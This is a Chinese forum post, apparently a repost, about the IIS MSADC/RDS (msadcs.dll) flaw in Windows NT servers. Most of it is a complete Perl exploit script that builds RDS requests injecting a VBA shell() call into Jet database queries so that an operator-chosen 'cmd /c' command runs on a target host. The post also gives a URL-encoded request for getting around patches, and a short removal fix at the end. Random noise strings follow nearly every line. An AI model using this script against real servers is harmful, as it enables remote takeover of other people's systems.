社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168326阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 4h@jJm  
S1E =E5  
涉及程序: lQ<2Vw#Yl  
Microsoft NT server +\fr3@Yc  
E5~HH($b  
描述: t>)iC)^u  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C\ZL*,%}  
Vl%AN;o  
详细: m.iCGX  
如果你没有时间读详细内容的话,就删除: rr>QG<i;G  
c:\Program Files\Common Files\System\Msadc\msadcs.dll jr|(K*;  
有关的安全问题就没有了。 r/$+'~apTk  
.0:BgM  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 rjo/-910  
D^baXp8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Hzcy '  
关于利用ODBC远程漏洞的描述,请参看: 2E33m*C2  
9%S{fd\#  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <Bn^+u\  
W2D^%;mw  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 GpMKOjVm|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `MA ee8u'  
X/ gIH/  
这里不再论述。 gbsRf&4h  
OL4I}^*,  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ! @{rk p  
1P. W 34  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^VK-[Sz&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :9Zu&t  
nm'sub  
{>H#/I8si  
#将下面这段保存为txt文件,然后: "perl -x 文件名" %<lfe<;^t  
nfJ|&'T  
#!perl >@KQ )p' `  
# kTb.I;S  
# MSADC/RDS 'usage' (aka exploit) script <W~5;m  
# Q&] }`Rp=  
# by rain.forest.puppy H%t/-'U?  
# }S<2({GI  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 7!+kyA\}r^  
# beta test and find errors! nd3=\.(P  
D9zw' R Y  
use Socket; use Getopt::Std; rlT[tOVAY  
getopts("e:vd:h:XR", \%args); XSyCT0f08  
lhw]?\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O#  .^}  
'%_1eaH  
if (!defined $args{h} && !defined $args{R}) { 1sl^+)z8  
print qq~ J]UlCg  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %_0,z`f  
-h <host> = host you want to scan (ip or domain) k_/hgO  
-d <seconds> = delay between calls, default 1 second IT! a)d  
-X = dump Index Server path table, if available &I Iw>,,  
-v = verbose 1mhX3  
-e = external dictionary file for step 5 (Z"QHfO'  
[HI&>dm=$  
Or a -R will resume a command session ]wh8m1  
I<e[/#5P\`  
~; exit;} / d=i 0E3  
r=Z#"68$  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,Xs%Cg_Ig  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} vo )pT  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4!p ~Mr[E  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 7Fw`s@/%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} u*B.<GmN  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .j:.?v  
fzO4S^mTo8  
if (!defined $args{R}){ $ret = &has_msadc; 8J{I6nPF  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3v)v92;  
+(0Fab8g  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %VOn;_Q*B  
. "cmd /c "; !4GG q  
$in=<STDIN>; chomp $in; Pk9s~}X  
$command="cmd /c " . $in ; GE]fBg  
Bj09?#~[  
if (defined $args{R}) {&load; exit;} &sR=N60n  
sfNXIEr^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; AVVL]9b_2  
&try_btcustmr; A"x1MjuqLM  
gvvl3`S{  
print "\nStep 2: Trying to make our own DSN..."; zvf:*Na")  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;F9<Yv  
b }S}OW2  
print "\nStep 3: Trying known DSNs..."; #mlTN3   
&known_dsn; Zq=t&$*  
Ug_5INK  
print "\nStep 4: Trying known .mdbs..."; yn<H^c  
&known_mdb; FL% GW:  
CnruaN@  
if (defined $args{e}){ rLs)*A!  
print "\nStep 5: Trying dictionary of DSN names..."; Y^m2ealC  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } +N5#EpW  
2ME"=! &5  
print "Sorry Charley...maybe next time?\n"; 0JQy-hpF  
exit; :_JZn`Cab  
IG0$OtG  
############################################################################## :VP4|H#SP  
})!d4EcZf  
sub sendraw { # ripped and modded from whisker G3n* bv  
sleep($delay); # it's a DoS on the server! At least on mine... /AV [g^x2  
my ($pstr)=@_; c|3%0=,`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Hy5_iYP5  
die("Socket problems\n"); a]'sby  
if(connect(S,pack "SnA4x8",2,80,$target)){ wNL!T6"G  
select(S); $|=1; z!;n\CV@  
print $pstr; my @in=<S>; ,X(P/x{B  
select(STDOUT); close(S); ((^jyQ  
return @in; !|_b}/  
} else { die("Can't connect...\n"); }} SQ| pH"  
wLC!vX.S  
############################################################################## wH=  
r`XIn#o  
sub make_header { # make the HTTP request \s?OvqI:  
my $msadc=<<EOT V2sWcV?  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !Rk1q&U5  
User-Agent: ACTIVEDATA y ,isK  
Host: $ip `l@[8H%aw  
Content-Length: $clen "r @RDw   
Connection: Keep-Alive r/1:!Vu(  
gS4zX>rqe  
ADCClientVersion:01.06 A`<#}~A  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .o91^jt  
 hLFf  
--!ADM!ROX!YOUR!WORLD! GHj1G,L@\  
Content-Type: application/x-varg *@o@>  
Content-Length: $reqlen 7Ipt~K}  
E*ybf'  
EOT vpXC5|9U  
; $msadc=~s/\n/\r\n/g; >JwdVy^  
return $msadc;} r@FdxsCnGM  
H`q" _p:  
############################################################################## BT;hW7){9  
rHPda?&H  
sub make_req { # make the RDS request E@TX>M-&  
my ($switch, $p1, $p2)=@_; WRU/^g3O@'  
my $req=""; my $t1, $t2, $query, $dsn; O%5cMz?eU  
sv\'XarM  
if ($switch==1){ # this is the btcustmr.mdb query |0FRKD]  
$query="Select * from Customers where City=" . make_shell(); t^ L XGQ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . c_c]0Tm  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;tTM3W-h  
'c5#M,G~  
elsif ($switch==2){ # this is general make table query \eF5* {9  
$query="create table AZZ (B int, C varchar(10))"; 4"1OtBU3  
$dsn="$p1";} 6l&m+!i  
& i"33.#]  
elsif ($switch==3){ # this is general exploit table query jm&?;~>O  
$query="select * from AZZ where C=" . make_shell(); I2kqA5>)j  
$dsn="$p1";} },'hhj]O  
-/|O*oZ  
elsif ($switch==4){ # attempt to hork file info from index server I7TdBe-  
$query="select path from scope()"; 2Fi>nJ  
$dsn="Provider=MSIDXS;";} 0/hX3h  
*I%r   
elsif ($switch==5){ # bad query jC+>^=J(  
$query="select"; SjD,  
$dsn="$p1";} iY"I:1l.  
mN +~fu h  
$t1= make_unicode($query); j[NA3Vj1P  
$t2= make_unicode($dsn);  {Uxa h  
$req = "\x02\x00\x03\x00"; !3U1HS-i62  
$req.= "\x08\x00" . pack ("S1", length($t1)); k1Zu&4C\  
$req.= "\x00\x00" . $t1 ; !+Z"7e nj  
$req.= "\x08\x00" . pack ("S1", length($t2)); A Ntp7ad  
$req.= "\x00\x00" . $t2 ; X<@ytHBv  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6 GX'&z  
return $req;} Ag}V>i'  
qd{o64;|  
############################################################################## pcXY6[#N  
HX\@Qws  
sub make_shell { # this makes the shell() statement ;wND?:  
return "'|shell(\"$command\")|'";} >"?HbR9  
$_ub.g|  
############################################################################## '7o'u]  
#@H{Ypn`  
sub make_unicode { # quick little function to convert to unicode '&Ox,i]t  
my ($in)=@_; my $out; G}ElQD  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7Z5,(dH>  
return $out;} Ht+ng  
qY\zZ  
############################################################################## (y|{^@  
@z"Zj 3ti  
sub rdo_success { # checks for RDO return success (this is kludge) ^ L'8:  
my (@in) = @_; my $base=content_start(@in); K+2bN KZ0  
if($in[$base]=~/multipart\/mixed/){ Pc{D,/EpR  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} lMAmico  
return 0;} vW]Frb  
"L@qjSs8  
############################################################################## 3~6F`G  
hKtOh  
sub make_dsn { # this makes a DSN for us *E0+!  
my @drives=("c","d","e","f"); hR b k-b  
print "\nMaking DSN: "; x={t}qDS8  
foreach $drive (@drives) { Q_QmyD~m  
print "$drive: "; Y<3s_  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]*j>yj.Y'~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,'5P[-  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ?15k~1nA  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; /b6Y~YbgU  
return 0 if $2 eq "404"; # not found/doesn't exist TFbCJ@X  
if($2 eq "200") { ^!k^=ST1J  
foreach $line (@results) { d|TRP,y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} XOa<R  
} return 0;} nkHr(tF 7  
qM3^)U2  
############################################################################## asP>(Li  
I@cKiB  
sub verify_exists { E#Ynn6  
my ($page)=@_; i_g="^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9 U1)sPH;  
return $results[0];} +A W6 >yV`  
a$#,'UB  
############################################################################## OQ#gQ6;?0  
~] Mq'  
sub try_btcustmr { $>'}6?C.  
my @drives=("c","d","e","f"); m hJ>5z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pW8pp?  
9UOx~Ty  
foreach $dir (@dirs) { 1j o.d  
print "$dir -> "; # fun status so you can see progress Oz^+;P1  
foreach $drive (@drives) { w$A*|^w1  
print "$drive: "; # ditto ^*C6]*C}te  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; SZg+5MD;X  
$reqlenlen=length( "$reqlen" ); "V~U{(Z  
$clen= 206 + $reqlenlen + $reqlen; 6_;3   
xp/u, q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \s&w0V`Y  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} mDip P  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} RTA9CR)JP4  
H;*:XLPF  
############################################################################## !IoD";Oi  
':[+UUC@  
sub odbc_error { [=e61Z  
my (@in)=@_; my $base; d(, -13  
my $base = content_start(@in); ;knSn$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,!kyrk6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [rTV)JsTb  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i3: sV5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~J)4(411  
return $in[$base+4].$in[$base+5].$in[$base+6];} GY,@jp|R  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 0VoC|,$U  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Z T8. r0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} y>2v 9;Qp  
mfG|K@ODM-  
############################################################################## pSQ3 SM  
<WaiJy?  
sub verbose { PZLWyp  
my ($in)=@_; ] 5P{*  
return if !$verbose; ""D rf=]  
print STDOUT "\n$in\n";} f: 7Y  
rZGbU&ZM8  
############################################################################## cWFvYF  
3I:DL#f  
sub save { %Tsefs?_  
my ($p1, $p2, $p3, $p4)=@_; &>I8^i  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 'P@a_*I  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; n$`Nx\v  
close OUT;} z&<Rx[  
.%->   
############################################################################## i=o>Bl@f  
_I{&5V~z  
sub load { J)(]cW.  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; V2, .@j#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ys+?+dY2  
@p=<IN>; close(IN); #l;Ekjfz  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); I_pA)P*Q(6  
$target= inet_aton($ip) || die("inet_aton problems"); 0)ST_2Ci  
print "Resuming to $ip ..."; < ]wN/B-8J  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }'H Da M  
if($p[1]==1) { M*c\=(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; m 7 Fz&bN  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )QBsyN<x6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); *tRJ=  
if (rdo_success(@results)){print "Success!\n";} "45BOw&72G  
else { print "failed\n"; verbose(odbc_error(@results));}} u8o7J(aQsR  
elsif ($p[1]==3){ 9\Xl 3j!  
if(run_query("$p[3]")){ q<hN\kBs  
print "Success!\n";} else { print "failed\n"; }} sE/9~L  
elsif ($p[1]==4){ Pv1psKu  
if(run_query($drvst . "$p[3]")){ v Z]gb$  
print "Success!\n"; } else { print "failed\n"; }} {B\.8)&8  
exit;} r`<e vwIe  
lq.0?(  
############################################################################## pQVi&(M  
Fof_xv9  
sub create_table { /E]4N=T  
my ($in)=@_; \re.KB#R  
$reqlen=length( make_req(2,$in,"") ) - 28; RtqW!ZZ:H  
$reqlenlen=length( "$reqlen" ); *D<sk7  
$clen= 206 + $reqlenlen + $reqlen; U4N S.`V  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ab_aB+g ]  
return 1 if rdo_success(@results); FswFY7 8  
my $temp= odbc_error(@results); verbose($temp); cz T@txF  
return 1 if $temp=~/Table 'AZZ' already exists/; dk(-yv'  
return 0;} v(: VUo]H  
Zfb:>J@h6  
############################################################################## n]j(tP  
#=O0-si ]P  
sub known_dsn { DJn>. Gd  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go m   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *JpEBtTv=5  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #;mZ3[+i5  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Oi7=z?+j  
;<&s _C3  
foreach $dSn (@dsns) { Tu6he8Q-  
print "."; p!Gf ^  
next if (!is_access("DSN=$dSn")); ?` `+OH  
if(create_table("DSN=$dSn")){ OOk53~2id  
print "$dSn successful\n"; 1:>RQPXcWv  
if(run_query("DSN=$dSn")){ D 'u+3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O'wN4qb=F  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 4h~Oj y16&  
d!gm4hQhl  
############################################################################## S [u <vHy  
)>[(HxvfJU  
sub is_access { "M:arP5f  
my ($in)=@_; Gf%o|kX]  
$reqlen=length( make_req(5,$in,"") ) - 28; 17 j7j@s)  
$reqlenlen=length( "$reqlen" ); 7 1)#'ey  
$clen= 206 + $reqlenlen + $reqlen; eq@ v2o7  
my @results=sendraw(make_header() . make_req(5,$in,"")); ol YSr .Q`  
my $temp= odbc_error(@results); Vy/g;ZPU1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +s S*EvF  
return 0;} tNUcmiY  
J]~fv9~P  
############################################################################## !tb RqW6v  
qq?>ulu*W  
sub run_query { 9 /zz@  
my ($in)=@_; NF a ;  
$reqlen=length( make_req(3,$in,"") ) - 28; *U8#'Uan  
$reqlenlen=length( "$reqlen" ); +f7?L]wzic  
$clen= 206 + $reqlenlen + $reqlen; ivagS\Q  
my @results=sendraw(make_header() . make_req(3,$in,"")); zm~~mz A  
return 1 if rdo_success(@results); C>MoR3]  
my $temp= odbc_error(@results); verbose($temp); 22*t%{(  
return 0;} I|LS_m  
z$<6;2  
############################################################################## oVhw2pKpM  
4sJx_Qi  
sub known_mdb { J%A`M\  
my @drives=("c","d","e","f","g"); \hq8/6=4s  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \u/5&[;  
my $dir, $drive, $mdb; 5Px.G*  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; IB?A]oN1{  
Xt7'clr  
# this is sparse, because I don't know of many '&9 a%  
my @sysmdbs=( "\\catroot\\icatalog.mdb", B{K'"uC  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", PIrUls0}  
"\\system32\\certmdb.mdb", Q72wg~%w  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% f,-|"_5;   
I;|Aiu*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", AnyFg)a<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", P! 3$RO  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }(],*^'u-  
"\\cfusion\\cfapps\\security\\realm_.mdb", JZv]tJWq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Q O?ha'Sl  
"\\cfusion\\database\\cfexamples.mdb", /9yiMmr5W  
"\\cfusion\\database\\cfsnippets.mdb", {&;b0'!Tf  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 'qP^MdoE%~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  HOD2/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", tFSdi. |G=  
"\\cfusion\\database\\smpolicy.mdb", d,[KcX  
"\\cfusion\\database\cypress.mdb", 7]^ }  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", I^wj7cFo5  
"\\website\\cgi-win\\dbsample.mdb", FU[,,a0<<  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [@y=% \%R  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XnY}dsS O  
); #these are just ]_=HC5"  
foreach $drive (@drives) { jQr~@15J#  
foreach $dir (@dirs){ ^GAdl}  
foreach $mdb (@sysmdbs) { !'gz&3B~h  
print "."; A8RT3OiXA  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ czb%%:EJs|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; zo5.}mr+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ M$?6 '  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5ya3mN E  
} else { print "Something's borked. Use verbose next time\n"; }}}}} IMR|a*=`c  
~^euaOFU 6  
foreach $drive (@drives) { Cei U2.:U  
foreach $mdb (@mdbs) { Dsua13 hF  
print "."; T7T!v  
if(create_table($drv . $drive . $dir . $mdb)){ <F3sQAe  
print "\n" . $drive . $dir . $mdb . " successful\n"; aK>9:{]ez  
if(run_query($drv . $drive . $dir . $mdb)){ ?% X9XH/!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `%XgGHiE  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^kD? 0Fm  
} ^VIUXa  
G9a%N  
############################################################################## ^(\Gonf<  
{UmCn>c  
sub hork_idx { 8k1 r|s@d  
print "\nAttempting to dump Index Server tables...\n"; ygW@[^g  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 'f}S ,i +q  
$reqlen=length( make_req(4,"","") ) - 28; ]p*) PpIl  
$reqlenlen=length( "$reqlen" ); :fYwFD( 9  
$clen= 206 + $reqlenlen + $reqlen; @r]s9~Lx9  
my @results=sendraw2(make_header() . make_req(4,"","")); MELGTP>  
if (rdo_success(@results)){ pjCWg 4ya  
my $max=@results; my $c; my %d; ) e2IT*7  
for($c=19; $c<$max; $c++){ `p{ !5  
$results[$c]=~s/\x00//g; vg.%.~!9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; g Oj5c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; R>U<8z"i  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; sKuTG93sr@  
$d{"$1$2"}="";} 9v F2aLPk  
foreach $c (keys %d){ print "$c\n"; } JAb?u.,Ns_  
} else {print "Index server doesn't seem to be installed.\n"; }} PM.SEzhm  
`eWc p^|  
############################################################################## ._&lG3'  
N.G*ii\  
sub dsn_dict { UjDF  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); yK B[HpU-  
while(<IN>){ `I>K?  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :|M/+XPu  
next if (!is_access("DSN=$dSn")); <ut DZ#k  
if(create_table("DSN=$dSn")){ &o/4hnHYt  
print "$dSn successful\n"; @Y<tH,*  
if(run_query("DSN=$dSn")){ uT/B}`md  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h*KHEg"+  
print "Something's borked. Use verbose next time\n";}}} ZQkw}3*n  
print "\n"; close(IN);} z;C=d(|nN  
.lBY"W&{  
############################################################################## mVK9NK  
v|I5Gz$qpa  
sub sendraw2 { # ripped and modded from whisker ~8m>DSs)D  
sleep($delay); # it's a DoS on the server! At least on mine... 1D[P\r-  
my ($pstr)=@_; xN m32~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _0*>I1F~  
die("Socket problems\n"); B -~&6D,  
if(connect(S,pack "SnA4x8",2,80,$target)){ -k <9v.:  
print "Connected. Getting data"; !ix<|F5  
open(OUT,">raw.out"); my @in; ow_y  
select(S); $|=1; print $pstr; 6lWFxbh  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e^NEj1  
close(OUT); select(STDOUT); close(S); return @in; V0Z7o\-J  
} else { die("Can't connect...\n"); }} !NYM(6!(  
gc@#O#K~h^  
############################################################################## &7w>K6p  
"x;k'{S  
sub content_start { # this will take in the server headers ,GJ>vT)  
my (@in)=@_; my $c; T4=3VrS  
for ($c=1;$c<500;$c++) { n]DNxC@b  
if($in[$c] =~/^\x0d\x0a/){ P"x-7>c>Y  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }#G"!/ZA0:  
else { return $c+1; }}} _Hu2[lV  
return -1;} # it should never get here actually bjBeiKH  
kLVn(dC "  
############################################################################## zf,%BI[Hr  
U[QD!  
sub funky { +z=%89GJ  
my (@in)=@_; my $error=odbc_error(@in); PGPbpl&\t  
if($error=~/ADO could not find the specified provider/){ I26gGp  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %Sn6*\z  
exit;} :pDY  
if($error=~/A Handler is required/){ ~BvY8\@B  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ydh<TF4!  
exit;} 9V;$v  
if($error=~/specified Handler has denied Access/){ uUz`=4%A  
print "\nServer has custom handler filters (they most likely are patched)\n"; ! F <] T  
exit;}} @ 9 { %Kn  
2d2@J{  
############################################################################## [9O~$! <%  
E,LYS"%_  
sub has_msadc { QG|GXp_q`  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); zZ9<4"CIk  
my $base=content_start(@results); 9*|3E"Vr  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); v0C;j (2zb  
return 0;} ?JgO-.  
H_?B{We  
######################## ^+as\  
#<wpSs  
R6Zj=l[  
解决方案: rocB"0  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &'(a$ S>v  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 A mI>m  
0+}EA[  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八